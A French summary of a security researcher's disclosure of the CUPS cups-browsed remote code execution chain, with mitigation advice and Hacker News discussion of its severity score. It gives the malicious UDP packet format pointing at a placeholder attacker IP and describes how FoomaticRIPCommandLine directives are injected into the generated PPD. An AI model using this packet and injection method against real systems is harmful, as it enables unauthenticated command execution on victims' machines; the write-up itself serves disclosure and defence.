Attaque de systèmes UNIX via CUPS
(evilsocket.net)- Quand le chemin de découverte automatique des imprimantes de CUPS se combine à l’absence de validation des attributs IPP, un attaquant distant non authentifié peut injecter une configuration d’imprimante malveillante et aller jusqu’à provoquer l’exécution de commandes arbitraires lors de l’impression
- Le point de départ de l’attaque est le comportement de
cups-browsed, qui accepte sur le port UDP 631 des paquets de n’importe quelle source et envoie une requête IPPGet-Printer-Attributesvers une URL contrôlée par l’attaquant - Les vulnérabilités sont réparties entre CVE-2024-47176, CVE-2024-47076, CVE-2024-47175 et CVE-2024-47177, et s’enchaînent jusqu’à la génération de PPD par
libcupsfilters,libppdetcups-filters, puis au flux d’exécution defoomatic-rip - Le périmètre d’impact couvre la plupart des distributions GNU/Linux, certains BSD, potentiellement Oracle Solaris ainsi que Chromium/ChromeOS ; lors d’un scan IPv4 public, des callbacks provenant de centaines de milliers d’appareils et jusqu’à 200 000 à 300 000 clients simultanés ont été observés
- En pratique, il faut désactiver ou supprimer
cups-browseds’il n’est pas nécessaire, mettre à jour les paquets CUPS et, si la mise à jour est difficile, envisager de bloquer UDP 631 ainsi que, si nécessaire, le trafic DNS-SD
Le cœur de la chaîne de vulnérabilités
- Cette chaîne part de la fonctionnalité de découverte automatique des imprimantes de CUPS, puis passe par le traitement des attributs IPP, la génération de fichiers PPD et l’exécution de filtres
- Les principales vulnérabilités s’emboîtent en quatre étapes
- CVE-2024-47176 :
cups-browsed2.0.1 et versions antérieures se lie àUDP INADDR_ANY:631et, en faisant confiance à des paquets provenant de n’importe quelle source, déclenche une requête IPPGet-Printer-Attributesvers une URL contrôlée par l’attaquant - CVE-2024-47076 :
cfGetPrinterAttributes5danslibcupsfilters2.1b1 et versions antérieures transmet au système CUPS les attributs reçus du serveur IPP sans validation ni nettoyage - CVE-2024-47175 :
ppdCreatePPDFromIPP2danslibppd2.1b1 et versions antérieures écrit les attributs IPP dans un fichier PPD temporaire sans validation ni nettoyage, permettant l’insertion de données contrôlées par l’attaquant - CVE-2024-47177 :
foomatic-ripdanscups-filters2.0.1 et versions antérieures autorise l’exécution de commandes arbitraires via le paramètreFoomaticRIPCommandLinedu PPD
- CVE-2024-47176 :
Point d’entrée de l’attaque et périmètre d’impact
- Un attaquant distant non authentifié peut modifier silencieusement l’URL IPP d’une imprimante existante pour la remplacer par une URL malveillante, ou faire installer une nouvelle imprimante
- L’exécution effective de commandes se produit lorsqu’une tâche d’impression est lancée sur l’ordinateur concerné
- Il existe deux points d’entrée
- WAN / Internet public : un attaquant distant envoie un paquet vers le port
UDP 631, sans authentification requise - LAN : un attaquant local peut usurper des annonces zeroconf, mDNS ou DNS-SD pour atteindre une RCE via le même chemin de code
- WAN / Internet public : un attaquant distant envoie un paquet vers le port
- CUPS et
cups-browsedsont empaquetés pour plusieurs systèmes de type UNIX- la plupart des distributions GNU/Linux
- certains BSD
- possiblement Google Chromium / ChromeOS
- Oracle Solaris
- Après avoir scanné plusieurs fois par jour, pendant plusieurs semaines, l’ensemble de l’espace IPv4 accessible sur Internet public, des centaines de milliers d’appareils ont rappelé après l’envoi de paquets UDP, avec des pics observés allant jusqu’à 200 000 à 300 000 clients simultanés
Le chemin ouvert par cups-browsed
- Sur un ordinateur portable Ubuntu, l’exécution de
netstat -anua révélé un port UDP à l’écoute sur0.0.0.0:631 - La vérification avec
lsof -i :631a montré que TCP 631 était utilisé parcupsd, tandis qu’UDP 631 l’était parcups-browsed - Dans
ps aux, le processuscups-browsedapparaissait comme exécuté en tant que root cups-browsedfait partie du système CUPS et sert à découvrir de nouvelles imprimantes pour les ajouter automatiquement au système- L’examen du code source a montré que le service était lié à
INADDR_ANY:631 UDPet attendait des paquets UDP au formatHEX_NUMBER HEX_NUMBER TEXT_DATA - Avec un fichier de configuration par défaut dont la majeure partie est commentée, les restrictions d’accès deviennent en pratique faibles
Problèmes de parsing et bugs supplémentaires
- Le paquet CUPS lui-même est inclus dans oss-fuzz, mais
cups-browsedne semble pas bénéficier d’une couverture de fuzzing - Après la création d’une cible de fuzzing basée sur AFL autour de
process_browse_data, cinq entrées ont déclenché un stack-buffer-overflow - La cause identifiée était un flux où, dans deux boucles, un pointeur était déréférencé avant la vérification de la condition de terminaison
- Par la suite, une race condition et un possible DoS ont également été découverts autour du point de gestion des verrous
- Ces problèmes ont été signalés aux développeurs et au CERT, mais, selon le chercheur, ils n’avaient pas été reconnus ni corrigés
Requêtes IPP et injection PPD
found_cups_printertraite l’un des champs texte extraits du paquet UDP comme une URL- Cette URL et les données associées passent par les flux
examine_discovered_printer_recordetcreate_remote_printer_entry, puis aboutissent à l’appelcfGetPrinterAttributesdelibcupsfilters - Si l’attaquant envoie un paquet de la forme
0 3 http://<ATTACKER-IP>:<PORT>/printers/whatever, la ciblecups-browsedse connecte à l’URL de l’attaquant - Lors de la connexion, l’en-tête User-Agent contenait la version du noyau et l’architecture ; certaines requêtes rapportaient aussi le nom d’utilisateur de la cible
- L’Internet Printing Protocol est un protocole de communication entre clients et imprimantes ou serveurs d’impression, utilisé notamment pour consulter l’état des imprimantes et soumettre des tâches d’impression
- Le système cible reconnaît le serveur de l’attaquant comme une imprimante et envoie une requête
Get-Printer-Attributesencapsulée dans HTTP - En répondant avec des attributs contrôlables au moyen du paquet Python ippserver, une fausse imprimante a été ajoutée aux imprimantes locales sans notification à l’utilisateur
Chemin d’exécution via PPD et foomatic-rip
- Les journaux de débogage montrent la création de la file d’impression, la génération d’un fichier PPD temporaire, puis l’utilisation et la modification du PPD
- La fonction
create_queuetransmet les attributs IPP à l’APIppdCreatePPDFromIPP2delibppd ppdCreatePPDFromIPP2écrit dans le fichier PPD, sans validation ni échappement, des attributs texte contrôlés par l’attaquant commeprinter-make-and-model- Un fichier PostScript Printer Description est un fichier texte décrivant les fonctionnalités et capacités d’une imprimante ; dans CUPS, il sert à spécifier les fonctions d’impression et la manière de les utiliser
- Parmi les différentes directives PPD, l’extension CUPS
cupsFilter2peut exécuter comme filtre un fichier exécutable situé sous/usr/lib/cups/filterlors d’une tâche d’impression foomatic-ripest traité comme un filtre pouvant exécuter des commandes via la directiveFoomaticRIPCommandLinedu PPD- Par le passé,
foomatic-filtersavait reçu des correctifs liés à CVE-2011-2964 et CVE-2011-2697, mais il a été confirmé que ces correctifs n’avaient pas été portés lors de l’intégration à CUPS - La vulnérabilité plus récente CVE-2024-35235 mentionne elle aussi l’exécution de commandes arbitraires via
FoomaticRIPCommandLine - Selon les explications des développeurs de CUPS, restreindre ce qui peut être fourni à
FoomaticRIPCommandLineest très difficile sans casser des pilotes existants, et des centaines de vieux modèles d’imprimantes antérieurs à 2010 pourraient dépendre uniquement de Foomatic
Déroulé de reproduction de la RCE
- La chaîne de RCE se compose de trois étapes
- amener le système cible à se connecter au serveur IPP malveillant de l’attaquant
- renvoyer une chaîne d’attributs IPP contrôlée par l’attaquant pour insérer des directives dans le fichier PPD temporaire
- lorsque qu’une tâche d’impression est envoyée à la fausse imprimante, les directives PPD et la commande sont exécutées
- L’exécution de commandes est configurée dans les paramètres du serveur IPP en fermant la chaîne PPD, en insérant une nouvelle ligne, puis en ajoutant les directives
FoomaticRIPCommandLineetcupsFilter2 - La cible de démonstration était un
Ubuntu 24.04.1 LTSentièrement corrigé aveccups-browsed 2.0.1, et l’exécution de commandes a été obtenue depuis la machine de l’attaquant - Ce flux fonctionne lorsque plusieurs étapes de traitement de
cups-browsed,libcupsfilters,libppdetcups-filterss’enchaînent
Atténuation et recommandations
- Si
cups-browsedn’est pas nécessaire, il est recommandé de désactiver et de supprimer le service - Il faut mettre à jour les paquets CUPS du système
- Si la mise à jour n’est pas possible et que le service est nécessaire, il faut bloquer le trafic
UDP 631 - Selon les situations, le trafic DNS-SD peut également être bloqué, mais cela peut être difficile dans les environnements utilisant zeroconf
- À titre de recommandation personnelle, le chercheur indique avoir supprimé de son système les services, binaires et bibliothèques CUPS, et ne plus imprimer depuis des systèmes UNIX
- Il ajoute qu’il supprimera aussi les listeners zeroconf, Avahi et Bonjour
Processus de divulgation et travaux ultérieurs
- La recherche elle-même a pris quelques jours, mais 22 jours se sont écoulés entre l’ouverture, le 5 septembre, d’un avis de sécurité dans le dépôt OpenPrinting
cups-browsedpour lancer une divulgation responsable et la publication publique - Les discussions associées se sont poursuivies sous forme d’avis de sécurité pour
cups-browsed,libcupsfilters,libppdetcups-filters - La recherche a pris 2 jours, l’exploit fonctionnel comptait 249 lignes, et le processus de divulgation a impliqué controverses, e-mails, messages et plus de 100 pages de texte
- Concernant la controverse autour du score CVSS de 9,9, le score initial de 9,9 est expliqué comme une estimation réalisée par un ingénieur RedHat dans le rapport VINCE, puis relue par un autre ingénieur
- Le chercheur estime que le score initial de 9,9 vient du fait que la RCE est facilement exploitable et que les paquets concernés sont largement présents, mais ajoute que, du point de vue de l’impact, il ne la classerait pas lui-même à 9,9
- Il indique que le rapport Markdown exact et l’exploit partagés uniquement avec CERT VINCE ont fuité
- Le premier
exploit.pyne faisait qu’envoyer un paquet UDP et créer un serveur IPP malveillant, mais il a ensuite été transformé en outil avec l’ajout d’une fonctionnalité d’annonces zeroconf - Il a ensuite été réécrit en Go et intégré à bettercap, avec l’ajout de fonctionnalités permettant d’usurper de manière transparente, sur un LAN, les services annoncés via zeroconf, Bonjour et Avahi, ainsi que des traitements liés à IPP
- Le prochain article abordera l’attaque d’Apple macOS au moyen d’un module bettercap pas encore publié ; le calendrier reste indéterminé en raison d’autres procédures de divulgation
1 commentaires
Avis sur Hacker News
J’ai cru que c’était une blague. En gros, « un attaquant distant non authentifié peut remplacer l’URL IPP d’une imprimante existante par une URL malveillante, ou en installer une nouvelle, afin d’exécuter des commandes arbitraires lorsqu’une tâche d’impression est lancée sur cet ordinateur » ; or Heartbleed était à 7,5, donc je ne vois pas comment ça pourrait valoir 9,9
Le tweet initial parlait d’« exécution de code à distance non authentifiée sur tous les systèmes GNU/Linux, etc. », mais en réalité, sur beaucoup de distributions, CUPS n’est lié qu’à l’interface de loopback, ou n’est tout simplement pas installé
Il dit aussi avoir scanné l’ensemble de l’IPv4 publique plusieurs fois par jour pendant des semaines et reçu des callbacks de centaines de milliers d’appareils ; si je comprends bien, cela voudrait dire qu’il y avait environ 300 000 instances CUPS ouvertes sur toute l’IPv4 publique, et pour qu’une exécution de code à distance ait lieu, il faut que le serveur CUPS concerné reçoive une tâche d’impression, ce qui n’arrivera probablement pas dans la plupart des cas
cups-browseddoit disparaître et l’écosystème Linux doit discuter sérieusement de l’avenir de CUPSLes bugs semblent étonnamment simples et constituent au final un problème de sécurité assez sérieux, mais la réponse upstream n’est pas au niveau de ce qu’on pourrait attendre pour un paquet Linux desktop installé par défaut
Cela dit, ce n’est clairement pas une panique CVSS 9,9 qui justifie d’arrêter le monde
Plus précisément, l’exécution est différée jusqu’au moment où l’utilisateur imprime ensuite sur son imprimante avec les paramètres modifiés par l’attaquant, et la vulnérabilité se trouve dans cupsd-browser, pas dans cupsd
On peut discuter de l’attitude de l’auteur, mais cette vulnérabilité est bel et bien un gros problème
Quelqu’un qui expose CUPS sur Internet est déjà dans un état de négligence tel qu’une CVE ne peut plus grand-chose
Bien sûr, pour déclencher l’exploitation, il faut que l’utilisateur imprime quelque chose, et personnellement je ne crois pas avoir déjà imprimé quoi que ce soit depuis Linux, mais l’affirmation selon laquelle il a reçu des callbacks de centaines de milliers de machines Linux paraît plausible
À tout le moins, un laptop Linux ne devrait pas devenir très vulnérable face à tous les autres appareils lorsqu’il est sur un Wi-Fi d’aéroport, par exemple
Selon la manière d’interpréter l’indicateur Scope de CVSSv3, cela semble plus précisément être 8,8 ou 9,6
En résumé, sur certaines variantes de Linux desktop, CUPS exposé sur le LAN écoute sur 0.0.0.0, s’exécute en root et est vulnérable à une exécution de code à distance non authentifiée. Sur la plupart des Linux orientés serveur, comme Ubuntu Server ou CentOS, ce n’est pas un service par défaut, mais sur la plupart des Linux desktop, il semble être lancé par défaut
Pour déclencher l’exécution de code à distance, l’utilisateur de la machine Linux vulnérable doit imprimer un document après l’exploitation
evilsocket a dit avoir reçu des centaines de milliers de callbacks, et même si la plupart d’entre nous n’impriment presque jamais depuis Linux, un impact de cette ampleur pourrait suffire à constituer un gros botnet
J’avais laissé cupsd ouvert sur Internet, donc j’ai un peu paniqué en voyant la nouvelle, mais comme le titre ici le dit, cette affaire a aussi été mal présentée. Le problème ne vient pas du cœur de cupsd, mais d’un paquet/composant séparé, cups-browsed
Gentoo Linux, que j’utilise pour des serveurs, fournit cups-browsed comme paquet séparé, et comme je ne l’ai pas installé, je ne suis pas concerné. La plupart des utilisateurs de CUPS qui n’ont pas installé ce paquet supplémentaire ne sont pas affectés par ce bug
Dire que tous les systèmes qui exécutent CUPS peuvent être piratés, c’est mal représenter l’ampleur du problème
Chez moi, j’ai simplement désactivé le service, mais il est assez agaçant de voir de plus en plus de logiciels sortir de leur périmètre et rendre quasi obligatoires des composants qui devraient rester optionnels
Un exemple similaire est avahi-daemon. Si l’on essaie de le supprimer sur un desktop Debian/Ubuntu, il y a de fortes chances que d’autres logiciels, pour lesquels on se demande pourquoi avahi devrait être une dépendance forte, soient supprimés avec lui
Je comprends le passage selon lequel « on attend trop des chercheurs, et on le tient pour acquis, à cause de triagers qui se comportent comme si un chercheur en sécurité comme vous devait “prouver qu’il mérite d’être écouté” », mais il y a aussi une triste réalité.
Pour chaque rapport aussi bien documenté, il arrive 57 rapports de spam de mauvaise qualité visant à arracher une récompense de bug bounty ou à ajouter la découverte d’un CVE sur un CV. Avec l’essor des LLM en particulier, ce spam peut facilement tromper.
C’est une situation triste, mais il est difficile de reprocher entièrement aux développeurs d’être sceptiques.
0: https://daniel.haxx.se/blog/2024/01/02/the-i-in-llm-stands-f...
En résumé, cups-browsed écoute sur le port UDP 631 et peut installer automatiquement des imprimantes sans confirmation de l’utilisateur.
Un attaquant utilise cette « fonctionnalité » pour installer sans confirmation une fausse imprimante dotée d’un pilote personnalisé téléchargeable depuis un hôte arbitraire, puis spécifie une commande à exécuter lorsqu’un travail d’impression est envoyé.
Si l’utilisateur imprime quelque chose sur cette fausse imprimante, cette commande est exécutée.
Dans ce cas, il semble que les distributions aient inclus cups-browsed comme fonctionnalité, mais j’ai toujours trouvé mauvais qu’Ubuntu/Debian, et probablement toutes les distributions basées sur deb, démarrent automatiquement presque tous les services à l’installation.
Cela signifie qu’en installant simplement un paquet, un autre service réseau installé comme dépendance peut se retrouver ouvert par erreur.
Vous connaissez déjà exim4, mais pour être juste, sa configuration par défaut n’écoute que localhost, donc ce n’est peut-être pas un gros problème. Je viens d’installer cups-browsed sur une machine Debian, et deux services écoutant sur 0.0.0.0 (cups-browsed et avahi) ont été lancés.
Ce n’est pas le cas sur Arch/Gentoo ni sur les distributions de la famille CentOS.
Le score CVSS initial publié sur Twitter indiquait qu’aucune interaction utilisateur n’était nécessaire. Pourtant, en lisant la chaîne d’exécution de code à distance sur la page, on voit qu’il faut « attendre qu’un travail d’impression soit envoyé à la fausse imprimante afin que la directive PPD et la commande correspondante soient exécutées ».
Si Alice ne clique pas sur le bouton d’impression, il me semble que le travail d’impression ne se déclenche pas ; je me demande donc ce que je rate. Ce n’est pas que je mette evilsocket en doute, je cherche plutôt à vérifier ma compréhension.
Chaque fois que je dois imprimer quelque chose sur MacOS, je me rappelle à quel point je déteste les imprimantes et les logiciels liés aux imprimantes. Cela fait 40 ans que j’utilise des ordinateurs, et vraiment, les imprimantes deviennent plus pénibles à chaque décennie.
pdf2ps - | nc 9001